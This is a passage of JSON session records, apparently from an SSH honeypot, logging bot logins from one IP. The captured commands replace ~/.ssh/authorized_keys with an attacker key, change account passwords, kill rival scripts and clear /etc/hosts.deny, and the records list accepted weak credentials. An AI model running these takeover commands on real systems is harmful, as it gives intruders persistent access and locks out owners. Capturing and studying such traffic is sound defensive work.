$4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:31:05.132157+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:31:05.302767+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T04:31:05.451248+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T04:31:06.419290+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T04:31:06.746569+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T04:31:08.816486+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T04:31:09.138460+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T04:31:11.291167+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T04:31:11.607188+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T04:31:13.337999+00:00","kind":"output","latency_ms":null,"data":" 04:31:13 up 7 days, 1:21, 0 user, load average: 0.19, 0.14, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T04:31:13.656904+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T04:31:14.150105+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T04:31:14.471379+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T04:31:14.976109+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T04:31:15.294172+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T04:31:16.168191+00:00","kind":"output","latency_ms":null,"data":"top - 04:31:16 up 7 days, 1:21, 0 user, load average: 0.19, 0.14, 0.18\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T04:31:16.488182+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T04:31:17.336190+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T04:31:17.657428+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T04:31:17.970450+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T04:31:18.291955+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T04:31:19.062033+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T04:31:19.380809+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T04:31:20.735619+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T04:31:21.053452+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T04:31:22.988535+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Abcd123456@","method":"password","accepted":true,"tier":"other"}]} {"id":"6fc34064-f0a5-4c8b-bb20-5f614acf8d5c","name":"gentle-bitter-gazelle","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":37408,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:30:59.431434+00:00","ended_at":"2026-08-27T04:31:01.242355+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"43c7f0e5-9fc1-4982-8c9b-6a88c083f7d1","name":"golden-smooth-skink","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":37398,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:30:56.925156+00:00","ended_at":"2026-08-27T04:30:58.817727+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"339b0e76-ec1c-4cdd-80ff-9dafa1e94441","name":"plucky-frosty-tinamou","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":60444,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":312,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:29:19.102327+00:00","ended_at":"2026-08-27T04:29:20.501614+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2114,"events":[{"seq":1,"at":"2026-08-27T04:28:49.356020+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:28:49.672805+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:28:53.879633+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:28:55.027214+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:28:55.338920+00:00","kind":"input","latency_ms":null,"data":"echo -e \"11235813\\nZA5Le1G1HyiE\\nZA5Le1G1HyiE\"|passwd|bash"},{"seq":6,"at":"2026-08-27T04:28:55.649763+00:00","kind":"input","latency_ms":null,"data":"echo \"11235813\\nZA5Le1G1HyiE\\nZA5Le1G1HyiE\\n\"|passwd"},{"seq":7,"at":"2026-08-27T04:28:55.961530+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:28:56.631128+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T04:28:56.890296+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T04:28:57.251280+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T04:28:57.565298+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T04:28:59.292753+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:28:59.607680+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T04:29:01.495494+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T04:29:01.809263+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T04:29:03.492110+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T04:29:03.804160+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T04:29:05.271699+00:00","kind":"output","latency_ms":null,"data":" 04:29:05 up 7 days, 1:19, 0 user, load average: 0.27, 0.21, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T04:29:05.577129+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T04:29:07.703612+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T04:29:08.015593+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T04:29:10.208068+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T04:29:10.520274+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T04:29:12.066469+00:00","kind":"output","latency_ms":null,"data":"top - 04:29:12 up 7 days, 1:19, 0 user, load average: 0.27, 0.21, 0.19\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T04:29:12.379183+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T04:29:13.273719+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T04:29:13.585181+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T04:29:14.498604+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T04:29:14.811500+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T04:29:16.341645+00:00","kind":"output","latency_ms":null,"data":"ubuntu"},{"seq":31,"at":"2026-08-27T04:29:16.653759+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T04:29:18.789069+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T04:29:19.103070+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T04:29:20.408040+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ubuntu","password":"11235813","method":"password","accepted":true,"tier":"other"}]} {"id":"3612625a-e2c4-4c32-811e-07961a01d61c","name":"loyal-blunt-lemur","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":60464,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:28:51.991756+00:00","ended_at":"2026-08-27T04:28:53.788059+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ubuntu","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"09f26b00-1b48-40e4-a7dd-2becc19d3cc1","name":"nautical-hushed-kiwi","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":60452,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:28:50.397291+00:00","ended_at":"2026-08-27T04:28:51.371020+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"90ab820f-1e5d-45ff-9df5-91cbf696428e","name":"russet-painted-merlin","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":42302,"username":"toor","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":318,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:27:20.981649+00:00","ended_at":"2026-08-27T04:27:22.191785+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2091,"events":[{"seq":1,"at":"2026-08-27T04:26:48.819952+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:26:49.137223+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:26:54.338764+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:26:55.349427+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:26:55.667221+00:00","kind":"input","latency_ms":null,"data":"echo -e \"root\\nnXosx1ZDUCSc\\nnXosx1ZDUCSc\"|passwd|bash"},{"seq":6,"at":"2026-08-27T04:26:55.985746+00:00","kind":"input","latency_ms":null,"data":"echo \"root\\nnXosx1ZDUCSc\\nnXosx1ZDUCSc\\n\"|passwd"},{"seq":7,"at":"2026-08-27T04:26:56.300027+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:26:57.035269+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T04:26:57.449361+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T04:26:58.498462+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T04:26:58.819847+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T04:27:00.745859+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:27:01.066091+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T04:27:02.449495+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T04:27:02.770335+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T04:27:03.809523+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T04:27:04.126439+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T04:27:05.125380+00:00","kind":"output","latency_ms":null,"data":" 04:27:05 up 7 days, 1:17, 0 user, load average: 0.33, 0.23, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T04:27:05.444231+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T04:27:07.519660+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T04:27:07.836373+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T04:27:09.871622+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T04:27:10.189545+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T04:27:11.528367+00:00","kind":"output","latency_ms":null,"data":"top - 04:27:11 up 7 days, 1:17, 0 user, load average: 0.33, 0.23, 0.2\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T04:27:11.846171+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T04:27:13.919003+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T04:27:14.241795+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T04:27:15.858944+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T04:27:16.175490+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T04:27:18.371124+00:00","kind":"output","latency_ms":null,"data":"toor"},{"seq":31,"at":"2026-08-27T04:27:18.702787+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T04:27:20.664750+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T04:27:20.982804+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T04:27:22.096883+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"toor","password":"root","method":"password","accepted":true,"tier":"other"}]} {"id":"c6e48fae-224a-4804-a8d3-afc7da71ef18","name":"dutiful-smoky-nightjar","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":42322,"username":"toor","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:26:52.468629+00:00","ended_at":"2026-08-27T04:26:54.243867+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"toor","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e2387de3-0998-4d7b-a724-c9d149d57ddf","name":"lucid-prickly-roebuck","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":42306,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:26:49.866554+00:00","ended_at":"2026-08-27T04:26:51.855852+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"f481d93a-a18e-4bc4-9505-49c6d36c05ab","name":"leafy-pleasant-macaw","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":58734,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":326,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:25:16.264465+00:00","ended_at":"2026-08-27T04:25:17.694392+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2139,"events":[{"seq":1,"at":"2026-08-27T04:24:58.034949+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:24:58.359307+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:25:02.079850+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:25:02.817295+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:25:03.145439+00:00","kind":"input","latency_ms":null,"data":"echo \"root:iD0e1zSpQrrn\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T04:25:03.465763+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T04:25:03.789827+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:25:04.687910+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:25:05.012350+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T04:25:05.929854+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T04:25:06.258319+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T04:25:07.394344+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:25:07.728037+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T04:25:08.119456+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T04:25:08.444090+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T04:25:08.923415+00:00","kind":"output","latency_ms":null,"data":" 04:25:08 up 7 days, 1:15, 0 user, load average: 0.03, 0.03, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T04:25:09.248636+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T04:25:10.053833+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T04:25:10.377533+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T04:25:10.689740+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T04:25:11.016045+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T04:25:11.856262+00:00","kind":"output","latency_ms":null,"data":"top - 04:25:11 up 7 days, 1:15, 0 user, load average: 0.03, 0.03, 0.03\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T04:25:12.179542+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T04:25:12.764700+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T04:25:13.092266+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T04:25:13.929214+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T04:25:14.254627+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T04:25:14.640929+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T04:25:14.976713+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T04:25:15.940240+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T04:25:16.267445+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T04:25:17.596957+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"12369852","method":"password","accepted":true,"tier":"other"}]} {"id":"6710736e-9b8e-4881-86c5-b7a02b6cf79b","name":"meadow-thrifty-woodchuck","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":58766,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:25:01.087333+00:00","ended_at":"2026-08-27T04:25:01.977913+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"cfbf1662-e4d3-43c7-a4bb-0254b3cc23b8","name":"nimble-sooty-ouzel","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":58750,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:24:59.092235+00:00","ended_at":"2026-08-27T04:25:00.436574+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"3b82f935-58b4-461b-8637-633ea35adf0f","name":"faded-frank-catbird","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":40502,"username":"gmodserver","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":325,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia 